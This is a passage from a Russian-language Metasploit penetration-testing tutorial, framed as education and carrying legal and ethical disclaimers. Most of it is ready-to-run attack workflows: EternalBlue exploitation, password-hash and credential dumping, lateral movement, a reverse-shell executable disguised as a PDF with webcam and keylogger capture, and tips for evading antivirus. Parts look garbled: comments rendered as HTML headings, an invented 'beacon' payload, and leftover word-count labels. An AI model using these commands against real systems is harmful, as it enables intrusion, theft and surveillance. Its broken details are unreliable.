sam_key = "HKLM\\SAM\\SAM\\Domains\\Account\\Users"

registry_enumvals(sam_key).each do |user|
print_good("Found user: #{user}")
end
end
end


Размещение модулей:

bash
<h2 id="sozdanie-direktorii-dlya-moduley">Создание директории для модулей</h2>
mkdir -p ~/.msf4/modules/auxiliary/scanner/http/

<h2 id="kopirovanie-modulya">Копирование модуля</h2>
cp custom_scanner.rb ~/.msf4/modules/auxiliary/scanner/http/

<h2 id="perezagruzka-moduley">Перезагрузка модулей</h2>
msfconsole
reload_all

<h2 id="ispolzovanie-modulya">Использование модуля</h2>
use auxiliary/scanner/http/custom_scanner


Тестирование модулей:

bash
<h2 id="zapusk-testov">Запуск тестов</h2>
cd /opt/metasploit-framework
bundle exec rspec spec/modules/auxiliary/scanner/http/custom_scanner_spec.rb

<h2 id="ruchnoe-testirovanie">Ручное тестирование</h2>
msfconsole
use auxiliary/scanner/http/custom_scanner
set RHOSTS 192.168.1.100
set VERBOSE true
run


Отладка модулей:

ruby
<h2 id="ispolzovanie-print-status-dlya-otladki">Использование print_status для отладки</h2>
print_status("Debug: Variable value = #{variable}")

<h2 id="ispolzovanie-vprint-dlya-verbose-rezhima">Использование vprint для verbose режима</h2>
vprint_status("Verbose message")

<h2 id="ispolzovanie-print-error-dlya-oshibok">Использование print_error для ошибок</h2>
print_error("Error occurred: #{error_message}")

<h2 id="ispolzovanie-print-good-dlya-uspeha">Использование print_good для успеха</h2>
print_good("Operation successful")


Работа с результатами:

ruby
<h2 id="sohranenie-rezultatov-v-bazu-dannyh">Сохранение результатов в базу данных</h2>
report_host({
host: rhost,
os_name: 'Windows',
os_flavor: '7'
})

report_service({
host: rhost,
port: rport,
name: 'http',
state: 'open'
})

report_vuln({
host: rhost,
port: rport,
name: 'SQL Injection',
refs: references
})


РАЗДЕЛ 11: ИНТЕГРАЦИЯ С ДРУГИМИ ИНСТРУМЕНТАМИ (1000 слов)

Metasploit можно интегрировать с другими инструментами пентестинга.

Интеграция с Nmap:

bash
<h2 id="import-rezultatov">Импорт результатов</h2>
db_nmap -sV 192.168.1.0/24

<h2 id="ispolzovanie-rezultatov">Использование результатов</h2>
hosts
services


Интеграция с Burp Suite:

bash
<h2 id="ispolzovanie-rezultatov-burp">Использование результатов Burp</h2>
db_import burp_results.xml


Использование REST API:

bash
<h2 id="zapusk-rest-api">Запуск REST API</h2>
msfrpcd -P password -f

<h2 id="ispolzovanie-cherez-python">Использование через Python</h2>
import msfrpc
client = msfrpc.MsfRpcClient('password')
client.consoles.console().write('use exploit/windows/smb/ms17_010_eternalblue')


Интеграция с Cobalt Strike:

Cobalt Strike можно использовать вместе с Metasploit для расширенной функциональности:

bash
<h2 id="eksport-sessii-metasploit-v-cobalt-strike">Экспорт сессии Metasploit в Cobalt Strike</h2>
sessions -u <session_id>

<h2 id="ispolzovanie-cobalt-strike-payload">Использование Cobalt Strike payload</h2>
set payload windows/beacon_reverse_tcp


Интеграция с Empire:

bash
<h2 id="ispolzovanie-empire-moduley-cherez-metasploit">Использование Empire модулей через Metasploit</h2>
use exploit/multi/script/web_delivery
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit


Использование с Burp Suite:

bash
<h2 id="import-rezultatov-burp">Импорт результатов Burp</h2>
db_import burp_results.xml

<h2 id="ispolzovanie-proksi-burp">Использование прокси Burp</h2>
set Proxies http:127.0.0.1:8080


Интеграция с SQLMap:

bash
<h2 id="ispolzovanie-rezultatov-sqlmap">Использование результатов SQLMap</h2>
db_import sqlmap_results.xml

<h2 id="avtomatizatsiya-cherez-skripty">Автоматизация через скрипты</h2>
#!/bin/bash
sqlmap -u "http://target.com/page?id=1" --batch --dbs
<h2 id="zatem-import-rezultatov-v-metasploit">Затем импорт результатов в Metasploit</h2>


Использование с Nessus:

bash
<h2 id="import-rezultatov-skanirovaniya-nessus">Импорт результатов сканирования Nessus</h2>
db_import nessus_results.xml

<h2 id="ispolzovanie-dannyh-dlya-natselivaniya">Использование данных для нацеливания</h2>
vulns


Интеграция с OpenVAS:

bash
<h2 id="import-rezultatov-openvas">Импорт результатов OpenVAS</h2>
db_import openvas_results.xml


Автоматизация через Python:

python
#!/usr/bin/env python3
import msfrpc

<h2 id="podklyuchenie-k-metasploit">Подключение к Metasploit</h2>
client = msfrpc.MsfRpcClient('password', port=55553)

<h2 id="sozdanie-konsoli">Создание консоли</h2>
console = client.consoles.console().cid

<h2 id="vypolnenie-komand">Выполнение команд</h2>
client.consoles.console(console).write('use exploit/windows/smb/ms17_010_eternalblue')
client.consoles.console(console).write('set RHOSTS 192.168.1.100')
client.consoles.console(console).write('set LHOST 192.168.1.50')
client.consoles.console(console).write('exploit')

<h2 id="chtenie-rezultatov">Чтение результатов</h2>
output = client.consoles.console(console).read()
print(output)


Использование с Metasploit Pro:

Metasploit Pro предоставляет расширенные возможности:

- Автоматическое сканирование и эксплуатация
- Интеграция с Nexpose
- Расширенная отчетность
- Автоматизация через Web UI

Интеграция с GitHub:

bash
<h2 id="klonirovanie-polzovatelskih-moduley">Клонирование пользовательских модулей</h2>
git clone https://github.com/username/metasploit-modules.git
cp metasploit-modules/*.rb ~/.msf4/modules/

<h2 id="perezagruzka-moduley">Перезагрузка модулей</h2>
reload_all


Использование с Docker:

bash
<h2 id="zapusk-metasploit-v-docker">Запуск Metasploit в Docker</h2>
docker run --rm -it -v ~/.msf4:/root/.msf4 metasploitframework/metasploit-framework

<h2 id="ispolzovanie-docker-compose">Использование docker-compose</h2>
cat > docker-compose.yml << EOF
version: '3'
services:
metasploit:
image: metasploitframework/metasploit-framework
volumes:
- ~/.msf4:/root/.msf4
ports:
- "4444:4444"
EOF
docker-compose up


РАЗДЕЛ 12: ПРАКТИЧЕСКИЕ СЦЕНАРИИ (1200 слов)

Рассмотрим несколько практических сценариев использования Metasploit.

Сценарий 1: Тестирование веб-приложения

bash
<h2 id="1-razvedka">1. Разведка</h2>
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.100
run

<h2 id="2-poisk-direktoriy">2. Поиск директорий</h2>
use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.100
run

<h2 id="3-ekspluatatsiya-uyazvimosti">3. Эксплуатация уязвимости</h2>
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
exploit


Сценарий 2: Сетевая атака

bash
<h2 id="1-skanirovanie-seti">1. Сканирование сети</h2>
db_nmap -sV 192.168.1.0/24

<h2 id="2-poisk-uyazvimyh-sistem">2. Поиск уязвимых систем</h2>
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run

<h2 id="3-ekspluatatsiya">3. Эксплуатация</h2>
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
exploit


Сценарий 3: Пост-эксплуатация

bash
<h2 id="posle-polucheniya-sessii">После получения сессии</h2>
sessions -i 1

<h2 id="sbor-informatsii">Сбор информации</h2>
sysinfo
hashdump
screenshot

<h2 id="eskalatsiya-privilegiy">Эскалация привилегий</h2>
getsystem
load kiwi
creds_all


Сценарий 4: Полный цикл пентеста

bash
<h2 id="1-razvedka">1. Разведка</h2>
db_nmap -sV -p- 192.168.1.0/24

<h2 id="2-analiz-rezultatov">2. Анализ результатов</h2>
hosts
services
services -p 445 -R

<h2 id="3-skanirovanie-uyazvimostey">3. Сканирование уязвимостей</h2>
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run

<h2 id="4-ekspluatatsiya">4. Эксплуатация</h2>
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
exploit

<h2 id="5-post-ekspluatatsiya">5. Пост-эксплуатация</h2>
sessions -i 1
hashdump
download C:\\users\\admin\\documents\\*


Сценарий 5: Тестирование веб-приложения

bash
<h2 id="1-razvedka-veb-prilozheniya">1. Разведка веб-приложения</h2>
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.100
run

use auxiliary/scanner/http/dir_scanner
set RHOSTS 192.168.1.100
run

<h2 id="2-poisk-uyazvimostey">2. Поиск уязвимостей</h2>
use auxiliary/scanner/http/http_login
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/usernames.txt
set PASS_FILE /usr/share/wordlists/passwords.txt
run

<h2 id="3-ekspluatatsiya">3. Эксплуатация</h2>
use exploit/multi/http/php_cgi_arg_injection
set RHOSTS 192.168.1.100
set TARGETURI /cgi-bin/php
set LHOST 192.168.1.50
exploit


Сценарий 6: Lateral Movement

bash
<h2 id="posle-polucheniya-dostupa-k-pervoy-sisteme">После получения доступа к первой системе</h2>
sessions -i 1

<h2 id="sbor-informatsii-o-seti">Сбор информации о сети</h2>
arp
route
netstat

<h2 id="poisk-drugih-sistem">Поиск других систем</h2>
shell
for /f %i in (net view ^| find "\\") do @echo %i

<h2 id="ekspluatatsiya-drugih-sistem">Эксплуатация других систем</h2>
background
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.101
exploit


Сценарий 7: Социальная инженерия

bash
<h2 id="1-sozdanie-payload">1. Создание payload</h2>
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -x document.pdf -f exe -o malicious.pdf

<h2 id="2-nastroyka-obrabotchika">2. Настройка обработчика</h2>
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit -j

<h2 id="3-otpravka-payload-zhertve-s-razresheniem">3. Отправка payload жертве (с разрешением!)</h2>
<h2 id="posle-podklyucheniya">После подключения</h2>
sessions -i 1
webcam_snap
keyscan_start


Сценарий 8: Автоматизация пентеста

bash
<h2 id="sozdanie-resursnogo-skripta">Создание ресурсного скрипта</h2>
cat > pentest.rc << EOF
<h2 id="razvedka">Разведка</h2>
db_nmap -sV -p- 192.168.1.0/24

<h2 id="skanirovanie-uyazvimostey">Сканирование уязвимостей</h2>
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run

<h2 id="ekspluatatsiya-uyazvimyh-sistem">Эксплуатация уязвимых систем</h2>
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set payload windows/x64/meterpreter/reverse_tcp
exploit -j

<h2 id="post-ekspluatatsiya">Пост-эксплуатация</h2>
sessions -i 1
hashdump
screenshot
EOF

<h2 id="zapusk">Запуск</h2>
msfconsole -r pentest.rc


РАЗДЕЛ 13: ЛУЧШИЕ ПРАКТИКИ И БЕЗОПАСНОСТЬ (1000 слов)

При работе с Metasploit важно следовать лучшим практикам.

Этические соображения:

- Всегда получайте письменное разрешение перед тестированием
- Используйте только в контролируемых средах
- Не используйте для незаконных действий
- Документируйте все действия

Безопасность:

- Используйте изолированные сети для тестирования
- Не используйте реальные production системы
- Регулярно обновляйте Metasploit
- Используйте VPN для защиты своего трафика

Документирование:

- Сохраняйте все команды
- Делайте скриншоты
- Записывайте результаты
- Создавайте отчеты

Организация работы:

bash
<h2 id="sozdanie-struktury-direktoriy">Создание структуры директорий</h2>
mkdir -p ~/pentest/{reports,scripts,exploits,payloads,notes}

<h2 id="sohranenie-komand">Сохранение команд</h2>
msfconsole -L -o commands.log

<h2 id="eksport-rezultatov">Экспорт результатов</h2>
db_export -f xml results.xml
db_export -f pwdump passwords.txt


Оптимизация производительности:

bash
<h2 id="ispolzovanie-parallelnyh-potokov">Использование параллельных потоков</h2>
set THREADS 10

<h2 id="nastroyka-taymautov">Настройка таймаутов</h2>
set TIMEOUT 300

<h2 id="ispolzovanie-bazy-dannyh">Использование базы данных</h2>
db_status
db_connect


Обработка ошибок:

bash
<h2 id="proverka-pered-ekspluatatsiey">Проверка перед эксплуатацией</h2>
check

<h2 id="testirovanie-na-bezopasnoy-sisteme">Тестирование на безопасной системе</h2>
set RHOSTS 192.168.1.200 # Тестовая система

<h2 id="ispolzovanie-verbose-rezhima">Использование verbose режима</h2>
set VERBOSE true


Безопасность собственной системы:

bash
<h2 id="ispolzovanie-vpn">Использование VPN</h2>
<h2 id="podklyuchenie-k-vpn-pered-nachalom-raboty">Подключение к VPN перед началом работы</h2>

<h2 id="ispolzovanie-proksi">Использование прокси</h2>
set Proxies http:127.0.0.1:8080

<h2 id="shifrovanie-trafika">Шифрование трафика</h2>
set payload windows/meterpreter/reverse_https


Работа в команде:

bash
<h2 id="ispolzovanie-obschey-bazy-dannyh">Использование общей базы данных</h2>
db_connect postgres:password@localhost:5432/shared_db

<h2 id="eksport-dlya-kolleg">Экспорт для коллег</h2>
db_export -f xml shared_results.xml

<h2 id="ispolzovanie-versionnogo-kontrolya">Использование версионного контроля</h2>
git init
git add .
git commit -m "Initial pentest results"


Соблюдение законодательства:

- Всегда получайте письменное разрешение
- Используйте только в контролируемых средах
- Не тестируйте production системы без разрешения
- Сохраняйте все документы разрешений
- Следуйте методологиям (PTES, OWASP, NIST)

Этические принципы:

- Используйте только для защиты
- Не используйте для незаконных действий
- Уважайте конфиденциальность данных
- Сообщайте о найденных уязвимостях ответственно
- Следуйте принципу ответственного раскрытия

Подготовка к пентесту:

1. Получение письменного разрешения
2. Определение scope (области тестирования)
3. Подготовка тестовой среды
4. Настройка инструментов
5. Создание плана тестирования
6. Резервное копирование данных

Создание отчетов:

bash
<h2 id="eksport-dannyh">Экспорт данных</h2>
db_export -f xml report.xml
db_export -f pwdump passwords.txt

<h2 id="sozdanie-otcheta-cherez-metasploit-pro">Создание отчета через Metasploit Pro</h2>
<h2 id="ili-ispolzovanie-vneshnih-instrumentov">Или использование внешних инструментов</h2>


Обучение и сертификация:

- Изучайте официальную документацию
- Проходите практические курсы
- Получайте сертификации (OSCP, CEH, GPEN)
- Участвуйте в CTF соревнованиях
- Читайте исследования безопасности

РАЗДЕЛ 14: FAQ - ЧАСТО ЗАДАВАЕМЫЕ ВОПРОСЫ (1100 слов)

Вопрос 1: Законно ли использовать Metasploit?

Ответ: Использование Metasploit законно только при наличии явного письменного разрешения от владельца системы. Использование без разрешения является незаконным и может повлечь уголовную ответственность.

Вопрос 2: Как обновить Metasploit?

Ответ: На Kali Linux: `sudo apt update && sudo apt upgrade metasploit-framework`. На других системах: `sudo msfupdate` или обновление через официальный установщик.

Вопрос 3: Почему эксплойт не работает?

Ответ: Возможные причины: система не уязвима, неправильные настройки, блокировка файрволом, отсутствие нужного payload. Проверьте опции модуля командой `show options`.

Вопрос 4: Как использовать Meterpreter?

Ответ: После успешного выполнения эксплойта с Meterpreter payload, используйте `sessions -i ` для подключения к сессии. Затем доступны команды Meterpreter.

Вопрос 5: Как обойти антивирус?

Ответ: Используйте кодировщики (`msfvenom -e`), внешние инструменты (Veil-Evasion), или создавайте собственные payload. Однако обход защиты становится все сложнее.

Вопрос 6: Как создать собственный модуль?

Ответ: Изучите структуру существующих модулей, используйте шаблоны из документации Metasploit, и разместите модуль в соответствующей директории `~/.msf4/modules/`.

Вопрос 7: Можно ли использовать Metasploit на Windows?

Ответ: Да, Metasploit можно установить на Windows через установщик Rapid7 или использовать в виртуальной машине с Linux.

Вопрос 8: Как интегрировать Metasploit с другими инструментами?

Ответ: Используйте `db_import` для импорта результатов сканирования, REST API для программной интеграции, или ресурсные скрипты для автоматизации.

Вопрос 9: Что такое staged и stageless payload?

Ответ: Staged payload загружается в два этапа (меньше размер, но требует стабильного соединения). Stageless payload загружается полностью сразу (больше размер, но работает без стабильного соединения).

Вопрос 10: Как защититься от Metasploit?

Ответ: Регулярно обновляйте системы, используйте файрволы и IDS/IPS, применяйте принцип наименьших привилегий, проводите регулярные пентесты для выявления уязвимостей.

Вопрос 11: Какая версия Metasploit лучше?

Ответ: Рекомендуется использовать последнюю стабильную версию. Metasploit активно развивается, и новые версии содержат исправления и новые эксплойты.

Вопрос 12: Как работать с базой данных Metasploit?

Ответ: Используйте `db_status` для проверки подключения, `db_nmap` для импорта результатов сканирования, `hosts` и `services` для просмотра данных.

ЗАКЛЮЧЕНИЕ (800 слов)

Metasploit Framework является мощным инструментом для тестирования на проникновение и оценки безопасности систем. В этом руководстве мы рассмотрели основные аспекты работы с Metasploit: от установки и базовых команд до продвинутых техник эксплуатации и пост-эксплуатации.

Важно помнить, что Metasploit — это инструмент, который должен использоваться только в легальных целях. Использование без разрешения является незаконным и может повлечь серьезные последствия. Всегда получайте письменное разрешение перед тестированием систем.

Изучение Metasploit требует практики и понимания основ информационной безопасности. Начните с простых эксплойтов в контролируемых средах, постепенно переходя к более сложным техникам. Используйте виртуальные машины для безопасного обучения.

Постоянно обновляйте Metasploit и изучайте новые эксплойты и техники. Сообщество Metasploit активно развивается, и появляются новые модули и улучшения.

Помните о безопасности: используйте изолированные сети, документируйте все действия, и следуйте этическим принципам. Metasploit — это инструмент для защиты, а не для атак.

Важные предупреждения:

⚠️ Юридические аспекты: Использование Metasploit без разрешения является незаконным. Всегда получайте письменное разрешение перед тестированием систем.

⚠️ Этика: Используйте Metasploit только в легальных целях: для тестирования собственных систем, с разрешения владельцев, или в рамках официальных пентестов.

⚠️ Безопасность: Используйте Metasploit только в контролируемых средах. Не тестируйте production системы без явного разрешения.

⚠️ Обучение: Начните с виртуальных машин и изолированных сетей. Практикуйтесь безопасно.

---

**⚠️ Дисклеймер:** Статья носит информационно-образовательный характер и не содержит инструкций для совершения противоправных действий.